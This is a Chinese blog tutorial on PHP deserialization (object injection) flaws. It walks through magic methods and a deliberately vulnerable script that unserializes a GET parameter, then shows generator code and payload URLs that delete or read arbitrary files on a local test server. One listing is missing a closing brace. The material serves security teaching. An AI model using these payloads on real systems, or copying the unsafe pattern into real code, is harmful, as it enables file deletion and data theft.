技术分享php反序列化漏洞初探

Posted 四叶草网络安全学院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了技术分享php反序列化漏洞初探相关的知识,希望对你有一定的参考价值。

一、基本介绍

php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize。

php反序列化漏洞又称php对象注入漏洞,是一个php非常常见的漏洞,但是这些漏洞非常难利用,但依旧存在危险。

二、测试过程

在1.php中创建一个类,类中定义一个变量,一个函数用来输出成员变量

<?php

class TestClass{

   public $str = 'test';

   public  function printStr(){

       echo $this->str;

  }

}

$test = new TestClass();

$test->printStr();

?>

 

在php类中,会存在一些默认的函数,称为magic函数,比如有默认的构造函数(construct),析构函数(destruct),totring函数(在对象被当做字符串时自动被调用)等等。在2.php中加入上述函数:

<?php

class TestClass{

   public $str = 'test';

   public function __construct(){

       echo 'construct <br />';

   }

   public function __destruct(){

       echo 'desstruct <br />';

   }

   public function __toString(){

       return 'toString <br />';

   }

   public  function printStr(){

       echo $this->str.'<br />';

   }

}

$test = new TestClass();

$test->printStr();

echo $test;

?>

 

【技术分享】php反序列化漏洞初探

我们都知道,php的类语法与C++有着些许相同之处,但是不同的是,C++的类对象在程序结束会被销毁,但是在php中一个类对象可以留着下次使用,这就被称为序列化。但是如何实现呢,因为对象在前面程序析构掉了,所以就有serialize这个函数可将对象变成字符串进行保存,下次使用时,可用unserialize将字符串变为对象。3.php如下:

<?php      

class User    

{     

   public $age = 0;    

   public $name = '';

   public function PrintData()    

   {

       echo 'User ' . $this->name . ' is ' . $this->age    

            . ' years old. <br />';    

   }    

}   

$usr = new User();       

$usr->age = 20;    

$usr->name = 'John';    

$usr->PrintData();     

echo serialize($usr);     

?>

 

【技术分享】php反序列化漏洞初探

在4.php中用unserialize重建对象

<?php      

class User    

{     

   public $age = 0;    

   public $name = '';    

   public function PrintData()    

   {    

       echo 'User ' . $this->name . ' is ' . $this->age  . 'years old. <br />';    

   }    

}    

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

$usr->PrintData();

?>

 

【技术分享】php反序列化漏洞初探

在magic函数中,还有一些函数是在序列化和反序列化时调用,例如sleep和wakeup

在5.php中加入

<?php      

class User    

{     

   public $age = 0;

   public $name = ''; 

   public function PrintData()    

   {    

       echo 'User ' . $this->name . ' is ' . $this->age    

           . ' years old. <br />';    

   }

   public function __sleep(){

       echo 'sleep <br />';

       return array('age','name');

   }

   public function __wakeup(){

       echo 'wakeup <br />';

   }

}    

$usr1 = new User();       

$usr1->age = 20;

$usr1->name = 'John';

$usr1->PrintData();

$serialize = serialize($usr1);

echo $serialize.'<br />';

$usr2 = unserialize($serialize);

$usr2->PrintData();

?>

 

【技术分享】php反序列化漏洞初探

上面我们了解了序列化与反序列化的过程,那么该如何利用呢?例如,我们在web程序源代码中找到一个logfile.php:

<?php

    class Logfile

    {

        public $filename = 'error.log';

        public function LogData($text)

        {

            echo 'log some data: '. $text . '<br />';

            file_put_contents($this->filename,$text,FILE_APPEND);

        }

         public function __destruct()    

        {    

            echo '__destruct deletes "'.$this->filename.'"file.<br />';    

            unlink(dirname(__FILE__) . '/' . $this->filename); 

        }    

    }

?>

这个类是将日志储存到文件中,待程序结束时自动调用__destruct函数删除日志文件。在其他代码中,可能会看到反序列化的调用,并且参数可控,例如test.php

<?php

include 'logfile.php';

class FileClass    

{    

   public $filename = 'error.log';      

   public function __toString()    

   {    

       return file_get_contents($this->filename);    

   }    

class User    

{    

   public $age = 0;    

   public $name = '';    

   public function __toString()    

   {    

       return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    

   }    

}

$obj = unserialize($_GET['usr_serialized']);

echo $obj;

?>

创建利用代码111.php

<?php    

include 'logfile.php';    

$obj = new LogFile();    

$obj->filename = '1.txt';    

echo serialize($obj) . '<br />';   

?> 

 

【技术分享】php反序列化漏洞初探

在这里,我创建了一个1.txt,访问111.php之后

 

【技术分享】php反序列化漏洞初探

提示1.txt已删除,查看文件果然删除了

我们访问http://127.0.0.1/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}

 

【技术分享】php反序列化漏洞初探

我们在文件夹内创建一个123.txt

【技术分享】php反序列化漏洞初探

 

创建利用代码123.php

<?php

include 'test.php';    

$fileobj = new FileClass();    

$fileobj->filename = '123.txt';    

echo serialize($fileobj);    

?> 

 

接下来我们访问http://127.0.0.1/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:7:"123.txt";}

 

成功读取123.txt的内容


以上是关于技术分享php反序列化漏洞初探的主要内容,如果未能解决你的问题,请参考以下文章

技术分享从一道CTF题学习PHP反序列化漏洞

PHP反序列化漏洞总结

PHP内核层解析反序列化漏洞

从一道CTF题学习PHP反序列化漏洞

利用 phar 拓展 php 反序列化漏洞攻击面

2-Web安全——php反序列化漏洞